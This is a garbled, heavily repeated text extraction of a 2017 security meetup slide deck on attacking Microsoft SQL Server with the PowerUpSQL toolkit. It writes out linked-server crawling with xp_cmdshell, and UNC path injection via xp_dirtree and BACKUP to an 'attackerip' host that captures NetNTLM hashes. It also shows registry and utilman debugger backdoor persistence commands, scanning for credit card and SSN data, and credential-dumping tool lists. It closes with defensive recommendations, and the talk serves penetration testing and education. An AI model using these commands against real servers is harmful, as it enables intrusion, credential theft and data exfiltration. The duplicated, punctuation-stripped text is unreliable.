Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 68: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 69: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

